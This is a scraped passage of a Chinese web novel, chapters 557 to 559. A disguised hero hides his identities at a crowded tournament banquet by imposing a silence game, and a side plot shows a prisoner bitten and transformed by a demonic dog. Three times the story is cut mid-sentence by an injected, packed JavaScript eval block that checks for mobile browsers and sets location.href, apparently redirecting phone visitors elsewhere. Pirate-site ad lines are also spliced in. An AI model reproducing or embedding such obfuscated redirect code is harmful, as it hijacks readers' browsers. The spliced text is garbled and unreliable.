她有一肚子话要对云缺说怎奈云缺根 本不给她说话的机会,直接提出让她做证。 商暮与商福认得柳真真,因为少年擂开始的时候,这位城主登台公布规则。 商暮直接点头道: “好!有劳城主帮我们做证,赌注在此,现在交给城主保管,我们谁在少年擂的排名最高,谁得此物! 说罢商暮将一个灵兽袋交给柳真真,然后与商福匆匆下船,去擂台比斗。 第三轮擂台已经到了最后时刻,登台的没多少人了,再不去,连进阶第四轮的机会都没有,更别提最后的争夺名次。 至于柳真真做证这件事,商福商暮两人毫无怀疑,他们信不过云缺,但信得过少年城的城主。 两人刚走,云缺一把将柳真真手里的灵兽袋拿了过来,运转一丝气机将其开启,往下一倒。 扑通一声。 萍山君掉了出来。 本来是个小白脸的模样,现在脸色更白了,晕头转向直打晃儿,站都站不稳。 见萍山君果然在灵兽袋里,云缺放心了,朝着柳真真拱手道: “我还有事,咱们回头见! 说完拽着萍山君就走。 什么赌约,老虎到手了还赌个屁呀,我像是遵守约定的人么。 云缺是想走,但是走不了。 柳真真把门堵住了,嗔怪道: “不许走!梅钱,你骗得我好苦哇!你那么厉害的身手,居然装成弱小的郎中,害我为你担心了好久! “城主勿怪,我到少年城之后也没人问过我修为如何,我这人比较谦虚低调,岂能自己说自己厉害。 云缺略微尴尬的解释道:“况且我也没什么本事,对上那头蛇尾猿依旧不敌。 “还说你没本事? 柳真真瞪着美目道:“妖劫过后,我询问过大家,好多人都说被一位小和尚所救,此人斩妖如屠狗,一路将少年城杀了个对穿,死于其手的妖物不计其数,若非你出手,当晚少年城的伤亡至少要翻倍,甚至数倍! “你不仅杀妖无数,还力战四阶蛇尾猿,如果你不出手,我已经死两次了,如果你不出手,蛇尾猿也不可能退走,到时候少年城都有覆灭的危险! “是你!挽救少年城于水火之中,是你!在妖爪之下救我逃出 危机是你!以一己之力斩断妖猿之尾如此壮举你却隐瞒身份大杀四方之后挥挥衣袖而去你简直你简直……” 柳真真越说越激动一张俏脸变得嫣红道: “你简直太帅了!!!我不管少年擂一结束我们立刻成亲!我不会让你再跑掉!” 云缺听得脸色发僵。 那两个大商遗民肯定不会罢休我要跑路啊结果你堵着门不让跑…… 云缺现在有一种无奈之感。 果然风水轮流转刚才我堵别人的门现在我的门也被堵了…… “城主成亲的事不急我还没跟我娘提起这事儿呢咱们以后有的是时间先让开我真有事让我出去好不好?听话。”云缺连哄带骗的道。 “不让!你又想骗我我才不会上当!少年擂结束之前你别想离开我的视线!”柳真真义正言辞的道。 萍山君这时候摇摇晃晃的爬起来迷迷糊糊的道: “又、又骗谁了?” 一听萍山君口中的‘又’字柳真真更加坚定的守着大门说什么也不让云缺出去。 好不容易抓住的如意郎君可不能再让他跑了。 云缺本想试着说服柳真真正想着说辞呢结果看到商暮在门外长廊出现正往这边走。 人家打擂结束回来了! 得了云缺什么也不说了拉把椅子往旁边一坐一脸无奈。 等着打擂好了。 商暮进屋后看到萍山君坐在地上皱了皱眉没说什么。 反正是个赌注困在灵兽袋与放出来没什么区别以她的战力与手段 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节)不怕这头老虎逃了。 萍山君这时缓和了不少看到商暮后顿时又惊又怒道: “你、你们做什么!居然偷袭!把我关进小黑屋!这事儿没完!没完!王爷……” 灵兽袋这种东西萍山君这辈子第一次进去他自己都不知道刚才去了什么地方只觉得被人关了起来。 “闭嘴!” 云缺与商暮异口同声的喝道。 萍山君立刻老实了不敢吭声。 由于两人说的话一样显得默契十足柳真真狐疑起来看了看坐在一旁的云缺又看了看站在另一侧的商暮 ,这位城主怎么看怎么觉得两人是在怄气。 而且还是情侣之间的那种怄气。 柳真真原本甜蜜的心情,顿时变得不爽了,一脚将萍山君踢到墙角,也拉了把椅子坐下,沉声道: “两人赌多无趣,算我一个,咱们三个一起赌,谁赢了,赌注归谁。” 商暮闻言,神色立刻阴沉了几分。 有心反对,但她听出少年城的城主语气不善,于是选择了默许。 毕竟这里是少年城的地盘,商家兄妹只有两个人,人家城主不仅修为到了五品,还有满城的帮手,真要翻脸,他们兄妹走不出少年城。 云缺道: “也好,既然城主想参与,那咱们三个以排名定胜负,商家妹子,不反对吧。” 听闻商家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186837|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹子这种亲近的称呼,柳真真心里醋意大起,气鼓鼓的瞪着商暮。 商暮没办法,只好点头答应,心里暗骂云缺无耻,居然将两人赌约改为三人,原本有一半的机会得到老虎,这下希望变得更少。 柳真真可是实打实的巅峰五品,战力没得说,即便商暮完全妖化,想要打败一名巅峰程度的五品金身也没那么容易。 别看她融合的星狼有四阶程度,却难以真正发挥出四阶妖狼的战力,除非将自身神魂作为祭品让妖魂吞噬,否则很难施展出四品的战力。 这也是身为妖武者的一份残酷的弊端。 萍山君无缘无故的挨了一脚,本想破口大骂,却感受到柳真真五品金身的气息,愣是没敢吭声,只是在心里默默嘀咕。 赌约,赌注? 什么赌注啊,你们三个都空手呢,赌什么呀,这么大的排场…… 很快萍山君觉得不对劲了。 该不会,赌注是我吧! 不多时商福打败了对手,回到包间。 屋子里四人一虎,各自沉默无语。 很快第三轮比斗宣告结束,第四轮少年城开始。 第一阶段的七轮战斗已经到了中段,登台的修士境界一轮比一轮高。 前三轮还能看到不少七阶修士登台,到了第四轮,已经没有任何七阶敢上台挑战了,全是六阶高手,打斗也越来越凶,想要赢得一场变得愈发艰难。 咚咚! 房门被敲响 紧接着有人推门而入。 “师兄我回来了!下面真热闹……咦这么多人。” 鸿影在擂台附近呆够了也饿了返回包间找云缺进门看到多了好几张陌生的面孔。 鸿影见过萍山君知道是师兄的跟班可商家兄妹和柳真真他没见过。 一听师兄这种称呼柳真真与商家兄妹的目光纷纷望来。 云缺暗道不妙为了堵住鸿影的嘴巴急忙吩咐酒楼伙计上菜。 不多时伙计带来了新的桌子。 酒菜陆续呈上。 房石临走前吩咐过这间包间只给云缺留着吃喝全部免费。 鸿影年纪小看到吃喝立刻食指大动开始大吃起来。 萍山君原本坐在地上见鸿影吃饭他也饿了 云缺是没胃口了什么也不想吃。 柳真真在生闷气吃醋都吃饱了。 商暮不为所动倒是商福直咽口水见她妹妹不动他这当哥哥的也不好自己去吃。 上菜的时候屋门是开着的。 正好走过去个紫袍人此人朝着屋子里瞥了一眼又折返而回大摇大摆的进了屋子。 “找你半天原来自己跑来喝酒你这人可太不地道了我有酒的时候想着你你喝酒的时候怎么不等我呢。” 进来这位直接坐在云缺旁边摘下兜帽拿起酒杯自斟自饮喝得那叫一个痛快。 正是二皇子赢皓。 “驸……” 赢皓喝了几杯之后开口刚说出一个字立刻被云缺打断。 “付什么钱!跟我喝酒还用你付钱吗这里我包了少年擂结束之前你随便喝!” 云缺说完瞄了眼对面的柳真真心里直打鼓。 自己的身份太多旁边坐着大秦二皇子对面又是少年城的城主两边是少年王的争夺双方一旦知道互相的身份自己就麻烦了。 云缺暗道倒霉在心里嘀咕怎么都挤我屋子里来了。 这话刚嘀咕完门外又有人经过并且在门口惊喜的道: “表兄!” 说着此人直接走了进来是个年轻人眉眼与云缺有那么几分相似。 确实来的是亲戚看到这位云缺脑袋都疼。 不是旁人正是大唐太子白誉! 云缺现在开始怀念朱静姝了想让对方算一卦我来参加少年擂不是来参加穿帮大会呀! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第557章 该死的缘分 包间里很热闹。 大秦二皇子,大唐太子,少年城城主,阜南王私生子,两个大商遗民,外加一头虎妖。 人不少,正好坐一桌。 云缺都觉得有点不可思议,有这么巧吗? 我来少年擂之前这顿伪装,结果屋子里全是熟人,早知如此还伪装什么,白剃了个光头。 白誉看了眼周围众人,微笑道: “既然表兄有客人,小弟不打扰了,改日再叙。” 云缺在心里松了口气。 要么人家是太子呢,至少有眼力见。 白誉刚要走,赢皓端着酒杯道: “别等改日了,就今天聊呗,屋里又没有外人,来来来,坐我这边,咱们多喝几杯!” 云缺恨不得把这个酒蒙子踹出去。 没外人? 屋子里全是外人好不好! 仇恨链都快缠成麻花了! 白誉不认得赢皓,见对方坐在云缺旁边,又如此盛情邀请,他犹豫了一下,点头说好,坐在赢皓旁边。 云缺觉得脑袋又开始疼了。 这一屋子天南海北的,这是要开百国大会吗。 赢皓给白誉倒满酒,热情道: “这家酒楼的酒还不错,虽然照比我的酒楼差一些,也能入口,来,走一个!” 赢皓先干为敬。 白誉也将杯中酒喝掉。 听赢皓说自家酒楼,白誉认为身边这位是生意人。 赢皓又连着倒了三杯酒,道: “你最后来的,你得自罚三杯,来,我陪你一起走三个!” 滋溜滋溜,赢皓喝水似的又喝了三杯。 白誉苦笑着也将酒喝掉。 “表兄,近来可好?”白誉道。 白誉很关心云缺如今的处境,由于有外人在场,不便明说,只能如此询问。 “挺好的,跟在家的时候差不多。”云缺道。 赢皓用胳膊肘碰了碰云缺,笑道:“你这表弟酒量不错嘛,以后带着来我家酒楼,管够儿喝!” “行,没问题。”云缺无奈道。 鸿影在旁边好奇道:“师兄的表弟,我应该叫师兄还是叫表哥呢?” “随你便。”云缺无奈道。 柳真真在对面狐疑道:“你不是说你是孤儿么怎么有亲戚了。” “不算太孤有个远亲不怎么走动。”云缺无奈道。 商福瞪着眼睛道:“你的表弟莫非也和我们一样?” “都说了远亲出五服了!没什么血缘关系的那种跟你们不一样!”云缺无奈道。 鸿影疑惑起来看了看商福和商暮又看了看云缺道: “师兄莫非这二位也是亲戚?” 商暮冷哼一声道:“谁和他是亲戚即便是亲戚也是有仇的亲戚。” 柳真真瞪起美目盯着云缺指着商暮道:“你们到底什么关系?” “我们没关系!”云缺将趴在桌上吃东西的萍山君拎了起来道:“他能证明我们就是打赌的关系。” 萍山君道:“啊?对!赌友关系清清白白的赌友关系!” 鸿影在旁边道:“师兄啊师父说过赌字伤人不可沾染否则就要逐出师门。” 赢皓听得有趣 “呦呵你还有师父呢能教你的人肯定是了不得的人物你师父到底是谁呀?” 云缺的脑子快炸了。 我师父就是我岳父你说有趣不有趣…… 谎言说得太多终将遭到反噬云缺此时切身体会到了这一点。 身份太多的确能在外面如鱼得水随机应变可弊端也极其明显就怕一群熟人汇聚一堂。 云缺实在没有办法打开房门大吼道: “小二!拿十坛酒来!” 门外的伙计立刻答应一声去取酒了正巧有人经过往里看了眼立刻走了进来。 此人边走边道: “二……” 看到进来这位云缺倍感无奈。 玄龙军的段无病! 段无病没看到云缺先看到了赢皓皇子在此他必须进来拜见。 可一进门二字刚出口段无病立刻惊讶道:“白!” 他第二眼看到了唐太子白誉。 大秦二皇子与大唐太子坐在一个屋子里段无病是怎么也没想到的紧接着他看到了云缺。 “云……” 接连说了三个字段无病知道要坏菜因为他看到云缺正 给他一个劲儿的使眼色。 白誉是段无病在学宫的好友但他又是大秦玄龙军的人如今二皇子在场显然互相之间不知道底细一旦点明各自的身份非得出事不可。 段无病是聪明人立刻改口将之前说过的三个字串联起来道: “二两白云做酒钱一壶清风醉人间闻香便知好酒!二公子有礼了。” 说罢朝着赢皓拱了拱手。 云缺始终提着的心稍稍放下了一些。 赢皓很满意二公子的称呼哈哈笑道: “段兄果然好文采!来来来进来坐就凭这句一壶清风醉人间就值得浮一大白!” 皇子发话段无病不敢不从尴尬的笑了笑进来坐下。 现在屋子里算上云缺总共九位十个座位基本快坐满了。 酒楼伙计开始往屋子里运酒。 每次抱着两坛子一边运一边在心里嘀咕: 房家少爷吩咐这屋子免费原本就俩人现在倒好弄一屋子人果然免费的生意最受欢迎。 酒还没运完呢又有人急匆匆闯了进来。 “城主可算找到您了……” 话说一半来人直接怔在门口。 云缺看了眼对方直接捂住了额头。 来的还是熟人少年城的奸细田锺! 田锺原本是来找城主的好不容易找到了结果一看屋子里的人他的肠子差点悔青了。 二皇子和段无病都在城主也在这两边人马怎么凑一屋了? 田锺的喉结滚动了一下额头泛起一层冷汗。 他扫了眼屋子里的众人看到云缺后顿时眼前一亮心里有了些底气。 还好至少屋子里的奸细不止我一个…… “什么事坐下说。”柳真真沉着脸道。 田锺只好坐在最后一把空椅子上。 这下一桌十人齐了。 十坛酒尽数摆在一旁伙计将房门关好退了出去。 屋子里的气氛变得沉闷起来。 不等田锺说明来意赢皓咦了一声指着柳真真道: “她……不就是少年城的城主吗!驸……” “说了不用你付账!也不用她付账 今天这顿我请了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13194598|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云缺就差把赢皓的嘴巴封起来,无奈道:“诸位,咱们能相聚一堂实属难得,这样,我提议,咱们先喝一杯,敬这场奇妙的缘分!” 云缺说罢当先干了一杯,并且在心里大骂。 该死的缘分! 其余人有的直接喝了,有的犹豫了一下没动。 云缺喝完后,不管其他人的表情,再次道: “恰逢少年擂如此盛会,咱们只喝酒有点没意思,我们来玩一个游戏叫做闭口禅,规则只有一个,谁先说话,谁自罚一个耳光,谁要是不玩,就是不给我面子,以后朋友都没得做!” 哐当一声,云缺将酒杯砸在桌上,代表着游戏虽然奇葩,但不是玩笑,在场的有一个算一个,必须参加。 鸿影还是孩子,听闻游戏第一个响应,道: “好!这游戏真有趣,看看谁第一个说话哈哈!” 他说完这话,发现屋子里的所有人都在盯着他看。 鸿影眨了眨眼睛,这才反应过来,原来游戏已经开始。 啪! 鸿影给自己来了个清脆的耳光。 这小子心眼儿比较实在,用了不小的力道,把脸都扇红了。 扇完自己,鸿影用手堵着嘴,裁判似的盯着其他人,等着看谁先忍不住。 屋子里变得安静下来。 尽管很多人都有一肚子话,却没人再吭声。 赢皓一杯又一杯的倒酒,自斟自饮,时而还示意旁边的白誉和段无病一起喝。 两人无奈之下只好陪着。 柳真真气鼓鼓的盯着云缺,她只想知道那个商暮与云缺之间到底有什么恩怨,不仅打赌,好像还有非同寻常的关联。 商暮也瞪着云缺,在心里打定主意,一定要在少年城上夺得一个很高的名次,压过云缺。 商福看了看众人,将目光落在桌上的饭菜上,时而咽一下口水。 段无病看了眼白誉,苦笑着举杯相敬。 白誉则感慨万千的端起酒杯,一饮而尽。 这两位学宫里的好友,没人能想到会在如此局面之下再次相遇,满心的话,说不出半句。 赢皓只顾着喝酒,敬完这个敬那个,不管对方喝不喝,反正他敬酒就是个由头而已,自己喝够就行。 鸿影一边吃,一边看看这个,瞧瞧那个,满心期待的等着下一个说话之人,对他来说这种游戏十分新颖,好玩极了。 萍山君只顾着闷头吃饭。 其实他早就吃饱了,但他察觉到屋子里的气氛中不仅有尴尬,还有杀气,于是强往下咽。 宁可吃撑,也尽量保持低调,最好没人关注自己才好。 比起萍山君的谨小慎微,田锺此刻的心情只能用如坐针毡来形容。 卧底这事儿他还有几分把握,毕竟自残了两次,浑身伤势全是新鲜的,到现在还疼呢。 但卧底归卧底,自家主子与敌人坐在同一张桌上,这算什么事儿呀! 你们在一桌喝酒,我还卧什么底? 一旦屋子里沉默下来,云缺终于耳根清净了。 这种局面,解释,是解释不过来的,最好的办法就是闭口禅,只要谁都别说话,那我就不会穿帮。 这场无声的酒宴,显得尴尬又奇葩。 过了足足半个时辰,有人先忍不住了。 屋子里,响起了一声脆响。 第558章 奸细这活儿太难了 扇自己耳光的,是田锺。 整个屋子里,压力最大的就是田锺,这种气氛令他喘不过气来。 “史将军让我来寻找城主,请城主尽快登台,史将军已经在第四轮获胜,大家担心城主错过这轮比斗。 说完来意,田锺终于吐出一口浊气,起身道: “我先告辞了,城主别忘了打擂。 说完,田锺发现所有人都盯着他看。 他错愕了一下明白过来,又给自己来了个耳光,这才推门离开。 多说一句话,又多挨个耳光。 出门后,田锺擦了擦额头冷汗,嘀咕道: “到底怎么回事,段大人和二皇子为何与城主在一桌吃饭? 至始至终,田锺也没想明白这桌酒宴是怎么凑够的人数,简直不可思议! 田锺走了,包间里仍旧没人言语。 游戏没停,谁也不想扇自己。 过了一会儿,柳真真豁然起身,指了指窗外的擂台,离开包间。 众人的目光纷纷投向擂台区域,看到城主登台打擂,轻而易举的战败对手。 等柳真真回来,鸿影立刻鼓掌,拍得贼起劲儿,他觉得这位城主战力惊人,打斗极其精彩。 有人带头,立刻有人响应。 萍山君第二个鼓掌。 虽然他知道气氛不对,但云缺的师弟都鼓掌了,没人附和岂不是尴尬。 云缺也随之抚掌,二皇子赢皓,段无病,白誉纷纷相随,连商福和商暮都佩服的拍起巴掌。 柳真真昂首朝着众人抱了抱拳,大马金刀往椅子上一坐,武夫的豪爽显现无疑。 可很快柳真真想起了什么。 偷偷瞄了眼云缺,急忙改为正襟危坐,还捏起了兰花指,端起茶杯小口抿着,硬装淑女。 心爱之人面前,自然得表现出温柔的一面,粗俗的武夫之举实在有些丢人。 殊不知她越是如此做作,云缺看得越是别扭。 挺好个的飒爽女子,大大咧咧就完了,装什么大家闺秀呢,又不是第一天认识…… 接着赢皓站了起来。 这位二皇子先打了个酒嗝,喷出一口酒气,拍了拍心口,又指了指擂台,示意该他了。 临走前 ,赢皓带走了桌上的酒壶。 众人看得新奇,想不通带酒壶打擂有什么好处,难不成登台了还要再喝两口? 赢皓打擂比较奇葩,整个人醉醺醺的样子,对手根本没把他放在眼里,结果大意之下,被赢皓用一壶酒给偷袭成功,赢得一场。 赢皓回来后,学着柳真真的模样朝着众人拱手,但是没人搭理他。 因为他用的偷袭招式实在有点龌蹉,往对手裤子上撒酒,弄得对方好像在擂台上尿裤子了一样。 没人鼓掌,本是件尴尬事。 但赢皓不在乎,自己先鼓起掌来。 在这位二皇子看来,尴尬这种东西根本不存在,只要我不尴尬,那么尴尬的就是别人。 果然,其他人有点受不住了。 段无病随之鼓掌庆祝,毕竟人家是皇子,即便偷袭得手那也是人家的能耐,身为臣子,自然得附和。 稀稀拉拉的掌声中,赢皓打着酒嗝,得意的落座。 接下来出去的是鸿影。 去的时候信心十足,回来的时候垂头丧气。 输了。 以鸿影的年纪,在少年擂能打到第四轮殊为不易,现在登台的几乎全是六品高手。 云缺第一个带头鼓掌。 小舅子的面子得给,自家亲戚嘛。 萍山君拍得最起劲,脱口道: “失败是成功他老母!过几年再来打擂肯定能赢! 鸿影一听高兴起来,兴致勃勃的坐好,眨着眼睛满脸期待看着萍山君。 萍山君随之恍然。 嘴欠了! 没办法,萍山君只好扇了自己一个耳光。 接下来的时间,云缺,段无病,白誉与商家兄妹先后登台,全部胜出。 屋子里除了萍山君,所有人都打斗了一次,这一圈下来,第四轮比斗也到了尾声。 随着擂台上最后的两人分出胜负,第五轮淘汰赛宣布开始。 包间里,还是没人吭声。 气氛变得愈发尴尬。 过了不久,田锺回来了,看了看屋子里没人开口,他脸色顿时有些发苦。 还没玩完呢…… 说话之前,田锺先给自己来了个耳光。 啪!! “城主,史将军旗开得胜,又胜一轮,他和几位兄弟出城抓了头野猪,快烤熟了,问您要不要一起吃。 柳真真摆了摆手,示意自己不吃。 她还要盯着云缺呢,生怕对方再次不告而别。 上门的夫婿,可不能飞了。 接下来,包间里的众人仍旧是沉闷的陆续登台,又陆续得胜归来。 趁着赢皓打擂的时候,云缺看似无聊的敲着桌面,实际是写了一个字。 敲一下,写一笔。 写的是个‘走’字,写给白誉。 以白誉的聪慧,自然看到了云缺的暗示,他点了点头,示意自己明白。 云缺写的字,屋子里除了白誉之外,只有段无病看懂了。 段无病轻轻颔首,赞同着云缺的安排。 少年城虽然不尊大秦统管,毕竟位于大秦地界,大唐太子抵达此地,不仅白誉危险,云缺更危险。 穿帮的话,两个人容易谁也走不掉。 白誉随即起身,朝着众人拱了拱手,告辞离开。 其实唐太子这次前来,也是为了少年擂而来。 大唐距离大秦不算太远,得知了少年擂的消息,唐皇因此看到了一份良机,若能成功争来少年王,掌管少年城,相当于在大秦腹地安插一枚钉子。 而这枚钉子,秦皇只能眼睁睁看着,根本拔不出来。 于是大唐派遣一些精锐的少年高手前来参加少年擂,白誉亲自带队,正巧遇到云缺。 白誉走后不久,段无病也告辞离开。 走了两个,云缺随之轻松了不少,等赢皓回来发现人少了,也不在意,继续喝酒。 剩下的这些人,基本撵不走了。 云缺闭目养神,专心炼化残存的雷精之力。 闭口禅的好处,可以趁机修炼,不浪费时间。 谁想说话也可以,先给自己个耳光再说。 擂台附近,少年城人马汇聚的区域,史得侩啃着烤猪,与一众少年有说有笑,好不痛快。 少年城这次战绩不错,很多人杀进了第五轮,值得庆祝。 唯一的遗憾,是城主不在。 有人拉来了一车好酒,史得侩分给众人。 他喝了一口,觉得不太尽兴, 正好看到田锺在附近立刻道: “田锺!你再去找城主就说我们有好酒!请城主下来喝上几杯酒楼里的酒肯定没有我们少年城自己酿的烈酒够味!” 田锺目光茫然的站着没动。 又是自残又是自扇耳光来来回回没完没了他这个奸细当得太累了…… “去呀城主的口味我最清楚她肯定喝不惯酒楼里的酒大家都等着城主回来热闹热闹呢!”史得侩催促道。 田锺顿时怒了抬手开始扇自己耳光噼里啪啦打得这个清脆。 史得侩都看傻了想不通这位田校尉到底发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13194599|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么疯。 “城主说不喝!也不吃!她就想闷在酒楼里!哪也不去!”田锺一边扇自己耳光一边喊道。 “哦不来就不来呗。”史得侩莫名其妙的道:“你是不是最近上火了来喝点酒消消火气。” 田锺接过酒碗就喝。 奸细这活儿太难了醉死算了…… 第二天从早到晚擂台上打斗不断。 第五轮结束后立刻开始第六轮毫无间隔。 两天两夜的比斗前七轮比斗落下帷幕少年擂第一阶段淘汰赛结束开始了第二阶段的挑战赛。 连胜七轮的少年修士并不多百人左右其中最低修为都在六品巅峰达到五品的也大有人在。 十六座小擂台彻底清空。 拥有资格的百余人可以随意登台。 然而一旦上台就预示着要迎接三场挑战只有全胜才能成为十六位小擂主之一。 不同于第一阶段的淘汰赛挑战赛的规则堪称残酷是没有休息时间的很有可能接连不断的迎接三次挑战。 没人首先登台。 擂台附近的气氛变得凝重起来百位候选者互相之间杀气腾腾。 楼船包间内。 经过一天的修炼云缺将剩余的雷精之力尽数吸收炼化实力再次得到提升。 “游戏结束好戏开始!” 云缺说罢当先离开包间。 柳真真赢皓鸿影等人陆续走出门外。 见众人都去准备打擂萍山君心情激动起来。 你们都走了虎爷就能回家喽! 商暮最后 走出的屋子。 迈出门口的同时,她回身抛出了水晶小塔。 下一刻,包间再次被法宝之力封印起来。 咣当。 房门一关,遮蔽了萍山君哀怨的目光,也遮蔽了难听至极的骂街声。 第三天的清晨,乌云密布,冷风阵阵。 随着第一位登台之人出现,少年擂周围顿时欢呼雷动。 最为精彩的挑战赛吸引了所有人的目光。 欢呼声传出极远,城里的每一个角落都可听见,包括阴冷的地牢。 曾经的军师常慎行,此刻正咬牙切齿。 他被关在地牢很多天了,没有饭吃没有水喝,本就一身是伤,此时奄奄一息。 他恨! 恨透了云缺。 恨不得将云缺大卸八块,挫骨扬灰! 可是如今的处境,他看不到任何报仇的希望。 史得侩派去调查他的人已经回来,证实了他是大秦员外并且身有功名,如此一来,即便城主没有立刻杀他,他也会慢慢死在地牢里,不可能出得去。 常慎行听着远处隐约传来的欢呼声,眼前开始模糊。 他知道自己大限将至,活不过今天。 临死之前,常慎行用尽全力,以最为恶毒的言语诅咒着云缺。 哒哒哒哒。 常慎行隐约听见了声音,好像什么东西在靠近。 他努力睁开眼,看见了一只杂毛狗。 “狗子……我快死了,你能,替我报仇吗……” 常慎行呢喃着,无力的闭上了眼。 然而下一刻,常慎行听到了一道冷漠的声音在耳边响起,只有一个字。 “能。” 咔嚓! 杂毛狗突然咬在常慎行的脖子上! 锋利的獠牙之内,有墨水般的东西涌进常慎行的血管。 常慎行开始颤抖起来,翻着白眼,口吐白沫。 同时他的骨骼发生了异变,身体变得愈发强壮,手指开始变得尖利,气息也从虚弱渐渐转为狂暴…… 注册本站会员可以解锁更多福利,快试试吧 第559章 这么点钱,真的伤不到我 擂台区域,第一位登台的是大皇子赢财。 身为大秦皇子,赢财不仅地位够高,又有五品修为,登场后立刻引起大秦一方的欢呼。 只是没人挑战。 并非其他高手怕了大皇子,而是挑战赛阶段有一个大家都默认的规则。 五品,不会去挑战五品。 有大把六品修士通过七轮淘汰赛,身为五品强者岂能自找别扭,非得去挑战同阶,这种时候即便有仇也不会出手,因为一旦五品之战开始,那么占便宜的就是其他没登台的人。 随着赢财的登台,守在这座小擂台下的裁判燃起了檀香。 以一炷香为限,如果檀香燃尽之前没人挑战,就算顺利通过,成为十六位小擂主之一。 这时第二位登台之人飞身跃起,落在另一座擂台上。 正是柳真真。 少年城一方立刻欢呼雷动,替城主擂鼓助威。 同样没人登台挑战。 少年城城主的大名与实力,大家有目共睹,人家在五品当中都是佼佼者,而且人家的目标是少年王,在场的高手根本没有几个是对手。 十六座擂台,已经被占据了两座,名额越来越少。 第三个登台的是段无病,第四个登台的是史得侩,随后是二皇子赢皓…… 不多时,共有十三位五品高手登台,空着的擂台还剩三座。 而最后这三座空擂台,是留给六品修士的争夺之地。 只是没人登台。 三座擂台始终是空的。 另外站了人的十三座擂台也没有挑战者。 少年擂的规则很简单,就是在前期选出十六位真正的高手来进行残酷的对决,从而决出最后的少年王。 可以说第一阶段的淘汰赛是一场热闹,用来互相切磋本事的最佳场合。 第二阶段的挑战赛则是立威。 用自己的名望与修为震慑他人,从而达到不战而胜的效果,这一阶段其实时间最短,因为人们都知道真正的好戏,是第三阶段的比试。 小擂主的争夺即便没有发生挑战与打斗,人们也觉得十分正常。 别看连胜七轮的六品修士不少,除非拥有能越阶战败五品的能力,否则没人愿意登台。 即便连胜三场获得小擂主的名头又能如何,到了第三阶段必然会遭遇五品境界的可怕对手,以六品战五品,胜算实在渺茫,就算侥幸赢了一场,获得前八的资格,还会继续对战五品,早晚会落败。 空荡荡的三座小擂台,一时间没人出现。 一炷香的时间过后,大皇子与柳真真等十三位五品高手,相继获得了小擂主的资格,等待最后阶段的抓阄。 空擂台也有时间限制。 以一个时辰为限,如果没人登台,小擂主的名额宣告作废。 云缺没急着登台,而是在等赢人志。 以云缺估计,那位三皇子没准会登台。 毕竟人家钱多,拿银票砸呗,只要连砸三场不就成了小擂主么。 云缺的算盘打得很好。 等三皇子登台,自己再上去挑战。 熟人嘛,胜负什么的不重要了,玩的就是个热闹,咱多加点赌注,一千万两一局,谁输谁拿钱。 只要赢人志敢赌,云缺就有把握一脚把对方踹出擂台,不仅挑战赛胜出一局,还能有一千万两银票到手,打擂赚钱,两全其美。 结果等啊等,赢人志根本不登台。 云缺忍不住过去问了问,得知这位三皇子的零花钱已经用光,没钱了! 对于没钱的皇子,云缺嗤之以鼻,不再理睬。 赢人志觉得很奇怪。 刚才那人谁呀,戴着大斗笠还挡着脸,一副欠人钱不敢现出真容的模样。 其实云缺确实欠人钱,三皇子价值上千万的龙血玉还在兜里呢,宝境之行赢人志什么没得到,钱倒是没少花,连宝玉都押出去了。 只是很可惜,他的宝玉押给了一个铁公鸡,注定回不来了。 一个时辰的时间已经过半,就在人们以为三座空擂台无人登场之际,有人飞身跃起,落在一座小擂台上。 少年城的小胖子,朱幺。 朱幺登台,云缺一点都不意外。 这位一心想要干掉秦皇,脑子属实不太灵光。 朱幺登台后,抱着肩膀傲然道: “谁不服,随便来!” 这句话顿时激起众怒。 下边还有一百来号连胜七局的高手呢,五品打不过,你一个六品谁能服气。 立刻有人登台挑战,二话不说直接动手。 这边一打起来,第二位登台者随之出现,商暮! 云缺知道商暮肯定会登台,打赌还没结束呢,谁排名高,萍山君归谁。 商暮不好对付,云缺可没想现在与其动手,妖武者一旦全力妖化,发挥出的战力极其恐怖,绝对不亚于五品强者,甚至比普通五品都要强,能逼近五品巅峰。 占据其他擂台的,可没几个五品巅峰,与其跟商暮拼个你死我活,还不如找个普通五品去挑战来得简单。 云缺没动,但有人动了。 见商暮是个女子,看着又没什么过人之处,立刻有人登台挑战。 两座小擂台陷入了恶战当中。 还剩下最后一座空着的擂台。 商福在下边给自家妹子擂鼓助威,大吼大叫。 云缺瞄了商福一眼,道: “还有座擂台没人,你不上去试试? “我才不去!商福斜着眼道:“我前脚上去,你后脚跟来,我又不是垫脚石,上去找打吗! 商福还不傻,看出云缺在坑他,不上当,连他妹子都未必斗得过云缺,他更不是对手。 没人登台,云缺实在没办法,只好准备自己上去。 